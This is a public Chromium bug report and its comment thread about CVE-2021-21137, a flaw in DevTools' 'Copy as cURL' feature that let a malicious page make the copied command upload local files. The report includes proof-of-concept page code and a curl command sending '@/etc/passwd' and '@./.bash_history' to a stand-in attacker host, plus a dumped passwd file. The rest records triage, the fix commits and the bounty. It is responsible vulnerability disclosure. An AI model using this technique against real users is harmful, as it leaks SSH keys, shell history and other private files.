Starred by 1 user

Owner:	janscheffler@chromium.org **Last visit > 30 days ago**
CC:	mathias@chromium.org sigurds@chromium.org dsv@google.com
Status:	Fixed *(Closed)*
Components:	Platform>DevTools>Network
Modified:	Feb 9, 2021
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	----
OS:	Linux, Windows, Mac
Pri:	2
Type:	Bug-Security

reward-500
Security_Severity-Low
Security_Impact-Stable
allpublic
reward-inprocess
CVE_description-submitted
Release-0-M88
CVE-2021-21137
Team-DevTools-WebDebugging

Issue 1093791: Security: Chrome's insecure construction of curl commands allows untrusted websites to retrieve local files from the user's system

Reported by paulm...@gmail.com on Thu, Jun 11, 2020, 8:21 AM EDT

Code

VULNERABILITY DETAILS

Curl commands produced by the "Copy as cURL (bash)" menu item in the Network Inspector are constructed insecurely. This subtle flaw can be exploited by an untrusted website to retrieve local files from the user's system when the curl command is subsequently executed by the user.

This issue could plausibly be exploited to retrieve a user's SSH keys or other sensitive data.

VERSION

Google Chrome Version 83.0.4103.97 (Official Build) (64-bit)
Windows 10 Pro 1909 18363.836

REPRODUCTION CASE

Consider the following PHP script, hypothetically hosted at https://dubiouswebsite.example.com/pjm/posty.php:

```
<html>
<head><title>Test</title></head>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open("POST", "/pjm/posty.php");
  xhr.setRequestHeader("Content-Type", "text/plain");
  xhr.send("@/etc/passwd");
</script>
<body>
<p>Full POST body received:</p>
<pre><?php echo htmlentities(file_get_contents('php://input')); ?></pre>
</body>
</html>
```

When a Chrome user visits this page, the JavaScript will result in the following POST request being sent:

```
POST /pjm/posty.php HTTP/1.1
Host: dubiouswebsite.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 62
Origin: https://dubiouswebsite.example.com
```

DNT: 1
Connection: close
Referer: https://dubiouswebsite.example.com/pjm/posty.php

@/etc/passwd

With the Network Inspector already open in Chrome, the user next right-clicks on the above request and selects "Copy" -> "Copy as cURL (bash)".

This results in the following command being copied to the clipboard:

```
curl 'https://dubiouswebsite.example.com/pjm/posty.php' \
  -H 'Connection: keep-alive' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36' \
  -H 'DNT: 1' \
  -H 'Content-Type: text/plain' \
  -H 'Accept: */*' \
  -H 'Origin: https://dubiouswebsite.example.com' \
  -H 'Sec-Fetch-Site: same-origin' \
  -H 'Sec-Fetch-Mode: cors' \
  -H 'Sec-Fetch-Dest: empty' \
  -H 'Referer: https://dubiouswebsite.example.com/pjm/posty.php' \
  -H 'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,ja;q=0.7' \
  --data-binary '@/etc/passwd' \
  --compressed \
  --insecure
```

When this command is pasted into a terminal and executed in bash, it will result in the following request being sent to the remote website:

```
POST /pjm/posty.php HTTP/1.1
Host: dubiouswebsite.example.com
Accept-Encoding: gzip, deflate
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
DNT: 1
Content-Type: text/plain
Accept: */*
Origin: https://dubiouswebsite.example.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://dubiouswebsite.example.com/pjm/posty.php
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,ja;q=0.7
Content-Length: 3272
Expect: 100-continue

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
mysql:x:104:110:MySQL Server,,,:/nonexistent:/bin/false
tss:x:105:111:TPM software stack,,,:/var/lib/tpm:/bin/false
strongswan:x:106:65534::/var/lib/strongswan:/usr/sbin/nologin
ntp:x:107:112::/nonexistent:/usr/sbin/nologin
messagebus:x:108:113::/nonexistent:/usr/sbin/nologin
redsocks:x:109:114::/var/run/redsocks:/usr/sbin/nologin
rwhod:x:110:65534::/var/spool/rwho:/usr/sbin/nologin
iodine:x:111:65534::/var/run/iodine:/usr/sbin/nologin
miredo:x:112:65534::/var/run/miredo:/usr/sbin/nologin
dnsmasq:x:113:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
arpwatch:x:114:119:ARP Watcher,,,:/var/lib/arpwatch:/bin/sh
usbmux:x:115:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
tcpdump:x:116:120::/nonexistent:/usr/sbin/nologin
rtkit:x:117:122:RealtimeKit,,,:/proc:/usr/sbin/nologin
_rpc:x:118:65534::/run/rpcbind:/usr/sbin/nologin
Debian-snmp:x:119:124::/var/lib/snmp:/bin/false
statd:x:120:65534::/var/lib/nfs:/usr/sbin/nologin
postgres:x:121:126:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
stunnel4:x:122:128::/var/run/stunnel4:/usr/sbin/nologin
sshd:x:123:65534::/run/sshd:/usr/sbin/nologin
sslh:x:124:129::/nonexistent:/usr/sbin/nologin
avahi:x:125:130:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
nm-openvpn:x:126:131:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
nm-openconnect:x:127:132:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkManager:/usr/sbin/nologin
pulse:x:128:134:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
saned:x:129:136::/var/lib/saned:/usr/sbin/nologin
inetsim:x:130:138::/var/lib/inetsim:/usr/sbin/nologin
colord:x:131:139:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:132:140::/var/lib/geoclue:/usr/sbin/nologin
lightdm:x:133:141:Light Display Manager:/var/lib/lightdm:/bin/false
king-phisher:x:134:142::/var/lib/king-phisher:/usr/sbin/nologin
dradis:x:135:143::/var/lib/dradis:/usr/sbin/nologin
beef-xss:x:136:144::/var/lib/beef-xss:/usr/sbin/nologin
pjm:x:1000:1000:pjm,,,:/home/pjm:/bin/bash
```

systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

Notably, executing this curl command has resulted in the contents of the user's local /etc/passwd file being unexpectedly transmitted to the remote website. This is contrary to the user's reasonable expectations, which would have been for the command to replay the request originally transmitted by Chrome verbatim.

The malicious website can also trivially obtain a user's bash history or SSH keys if the command is executed from within their home directory. This can be done without needing to know the victim's username, by setting the XmlHTTPRequest payload on the malicious webpage to a relative file system path like the following:

xhr.send("@./.bash_history");

This will result in the user's entire bash history being transmitted to the remote website when the user executes the curl command generated by Chrome.

The root cause of this vulnerability is Chrome's insecure construction of curl commands, which allows an untrusted website to indirectly construct a request to itself that includes the contents of arbitrary local files in the request body.

If the --data-binary option value starts with an @ character, curl will treat the rest of the string as a filename. If the file exists on the local file system, then the contents of that file will be sent in the POST body. See https://curl.haxx.se/docs/manpage.html for more information.

In the example I have demonstrated, the insecurely constructed option looks like this, which results in the contents of /etc/passwd being sent to the website:

```bash
--data-binary '@/etc/passwd'
```

Crucially, users are unlikely to suspect that a curl command generated by Chrome would unexpectedly transmit sensitive local files to a remote website without consent and without warning. Even if the user were to examine the command before executing it, they may also be unfamiliar with (or overlook) the behaviour afforded by the @ character.

I can think of at least three possible workarounds to eliminate this vulnerability:

1. Use the --data-raw option instead of --data-binary to specify the content of the request body. The --data-raw option functions identically to --data, but without special interpretation of the @ character; however, note that this option was not added until curl 7.43.0 and so may result in a "curl: option --data-raw: is unknown" error for some users. Also note that --data-raw may apply conversions that are not carried out by --data-binary.
2. When the request body starts with an @ character, either prefix the character or remove it from the generated curl command. This may obviously break all requests where the body starts with an @ character, but that is probably an unusual occurrence and this solution offers better compatibility with older versions of curl.
3. Remove the "Copy as cURL" functionality. (Please don't!)

CREDIT INFORMATION
Reporter credit: bobblybear

Comment 1 by paulm...@gmail.com on Thu, Jun 11, 2020, 9:25 AM EDT

A slight correction, the first example POST request that the malicious site forces Chrome to make should look like this (I pasted the request from the wrong browser originally):

POST /pjm/posty.php HTTP/1.1
Host: dubiouswebsite.example.com
Connection: keep-alive
Content-Length: 12
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
Content-Type: text/plain
Accept: */*
Origin: https://dubiouswebsite.example.com
Referer: https://dubiouswebsite.example.com/pjm/posty.php
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,ja;q=0.7

@/etc/passwd

Comment 2 by wfh@chromium.org on Thu, Jun 11, 2020, 2:08 PM EDT Project Member

Status: Assigned (was: Unconfirmed)
Owner: janscheffler@chromium.org
Cc: sigurds@chromium.org
Labels: Security_Severity-Low Security_Impact-Stable OS-Linux OS-Mac OS-Windows
Components: Platform>DevTools>Network

This bug reminds me of ~~issue 1050756~~. It still requires an extraordinary amount of user interaction though, so I place this as Low priority.

janscheffler -> can you take a look?

Comment 3 by paulm...@gmail.com on Thu, Jun 11, 2020, 4:35 PM EDT

Thanks for pointing out the previous bug! I was not aware of that.

Having just looked at the source code of NetworkLogView.js, it appears that the issue I'm reporting stems from an incomplete fix of that previous bug. The fix there was to use the safe --data-raw option, but crucially, this option is only used iff the request's Content-Type header starts with "application/x-form-urlencoded".

In my proof of concept, the malicious webpage explicitly sets the Content-Type header to "text/plain", which bypasses your safety check and causes the vulnerable --data-binary option to be used with the attacker-controlled form data instead:

```
  if (requestContentType && requestContentType.startsWith('application/x-www-form-urlencoded') && formData) {
    // Note that formData is not necessarily urlencoded because it might for example
    // come from a fetch request made with an explicitly unencoded body.
    data.push('--data-raw ' + escapeString(formData));
    ignoredHeaders['content-length'] = true;
    inferredMethod = 'POST';
  } else if (formData) {
    data.push('--data-binary ' + escapeString(formData));
    ignoredHeaders['content-length'] = true;
    inferredMethod = 'POST';
  }
```

Although the attack still requires user interaction, a carefully orchestrated attack by a particularly manipulative hacker could prove devastating if it is used to obtain SSH keys from a high value target.

Comment 4 by sheriffbot on Fri, Jun 12, 2020, 2:52 PM EDT Project Member

Labels: Pri-2

Setting Pri-2 to match security severity Low. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 5 by paulm...@gmail.com on Wed, Aug 12, 2020, 11:42 AM EDT

Is there a fix in the pipeline for this vulnerability? I've not seen any updates for 2 months now.

Comment 6 by paulm...@gmail.com on Mon, Oct 12, 2020, 10:06 AM EDT

Please may I have an update on this vulnerability I took the time to report? There have not been any updates for more than 120 days now.

Comment 7 by janscheffler@chromium.org on Tue, Oct 13, 2020, 4:36 AM EDT Project Member

Status: Started (was: Assigned)

Hi, sorry for the late reply. This issues slipped through the cracks on my side.
Thanks for taking the time to report the issue so thoroughly - your contribution to making the chromium project more safe is greatly appreciated!
I'll get to fixing it right away.

Comment 8 by janscheffler@chromium.org on Tue, Oct 13, 2020, 5:22 AM EDT Project Member

Cc: mathias@chromium.org

Comment 9 by bugdroid on Mon, Oct 26, 2020, 10:53 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src.git/+/178b751e5e405e949835d3f6f7a497dfea2b439c

commit 178b751e5e405e949835d3f6f7a497dfea2b439c
Author: Jan Scheffler <janscheffler@chromium.org>
Date: Mon Oct 26 14:52:51 2020

[DevTools] Disable test to land patch

This patch disables a test that blocks
landing the following cl:
https://crrev.com/c/2466187

~~Bug: chromium:1093794~~
Change-Id: Ibb9c14b30f346d6bda0a0b67bed1b3593b0aab55
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2498504
Reviewed-by: Mathias Bynens <mathias@chromium.org>
Reviewed-by: Sigurd Schneider <sigurds@chromium.org>
Commit-Queue: Jan Scheffler <janscheffler@chromium.org>
Cr-Commit-Position: refs/heads/master@{#820747}

[modify] https://crrev.com/178b751e5e405e949835d3f6f7a497dfea2b439c/third_party/blink/web_tests/TestExpectations

Comment 10 by bugdroid on Mon, Oct 26, 2020, 11:34 AM EDT Project Member

Status: Fixed (was: Started)

The following revision refers to this bug:
https://chromium.googlesource.com/devtools/devtools-frontend/+/d2663acda4ce90bc2b23e3569cbd21ad7df74593

commit d2663acda4ce90bc2b23e3569cbd21ad7df74593
Author: Jan Scheffler <janscheffler@chromium.org>
Date: Mon Oct 26 15:29:46 2020

[Network] Properly escape form data for copy as curl

~~Fixed: 1093794~~
Change-Id: I3cf1438d319d234a4bfe102eebd053f071d78db3
Reviewed-on: https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/2466187
Reviewed-by: Mathias Bynens <mathias@chromium.org>
Commit-Queue: Jan Scheffler <janscheffler@chromium.org>

[modify] https://crrev.com/d2663acda4ce90bc2b23e3569cbd21ad7df74593/front_end/network/NetworkLogView.js

Comment 11 by adetaylor@google.com on Mon, Oct 26, 2020, 12:04 PM EDT Project Member

Labels: reward-topanel

Comment 12 by sheriffbot on Mon, Oct 26, 2020, 1:55 PM EDT Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 13 by bugdroid on Tue, Oct 27, 2020, 1:32 PM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src.git/+/5d9d7c583b638be2f961c460a3239fe489d7a022

commit 5d9d7c583b638be2f961c460a3239fe489d7a022
Author: Jan Scheffler <janscheffler@chromium.org>
Date: Tue Oct 27 17:27:11 2020

[DevTools] Enable test after landing patch

This patch enables a test that blocked
landing the following cl:
https://crrev.com/c/2466187

~~Bug: chromium:1093794~~
Change-Id: I195d71618548766a0de4e9128d03a032284909b8
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2498508
Reviewed-by: Sigurd Schneider <sigurds@chromium.org>
Reviewed-by: Mathias Bynens <mathias@chromium.org>
Commit-Queue: Sigurd Schneider <sigurds@chromium.org>
Commit-Queue: Jan Scheffler <janscheffler@chromium.org>
Auto-Submit: Jan Scheffler <janscheffler@chromium.org>
Cr-Commit-Position: refs/heads/master@{#821314}

[modify] https://crrev.com/5d9d7c583b638be2f961c460a3239fe489d7a022/third_party/blink/web_tests/TestExpectations
[modify] https://crrev.com/5d9d7c583b638be2f961c460a3239fe489d7a022/third_party/blink/web_tests/http/tests/devtools/copy-network-request-expected.txt

Comment 14 by adetaylor@google.com on Wed, Oct 28, 2020, 6:55 PM EDT Project Member

Labels: -reward-topanel reward-unpaid reward-500

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will

also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.
****

Comment 15 by adetaylor@google.com on Wed, Oct 28, 2020, 7:16 PM EDT Project Member

The VRP panel has decided to award $500 for this report. Someone from our finance team will be in touch to arrange payment. Thanks for the report!

Comment 16 by adetaylor@google.com on Thu, Oct 29, 2020, 10:30 AM EDT Project Member

Labels: -reward-unpaid reward-inprocess

Comment 17 by adetaylor@google.com on Wed, Jan 13, 2021, 5:48 PM EST Project Member

Labels: Release-0-M88

Comment 18 by amyressler@google.com on Tue, Jan 19, 2021, 1:57 PM EST Project Member

Labels: CVE-2021-21137 CVE_description-missing

Comment 19 by sheriffbot on Mon, Feb 1, 2021, 1:56 PM EST Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 20 by amyressler@google.com on Tue, Feb 9, 2021, 9:27 AM EST Project Member

Labels: -CVE_description-missing CVE_description-submitted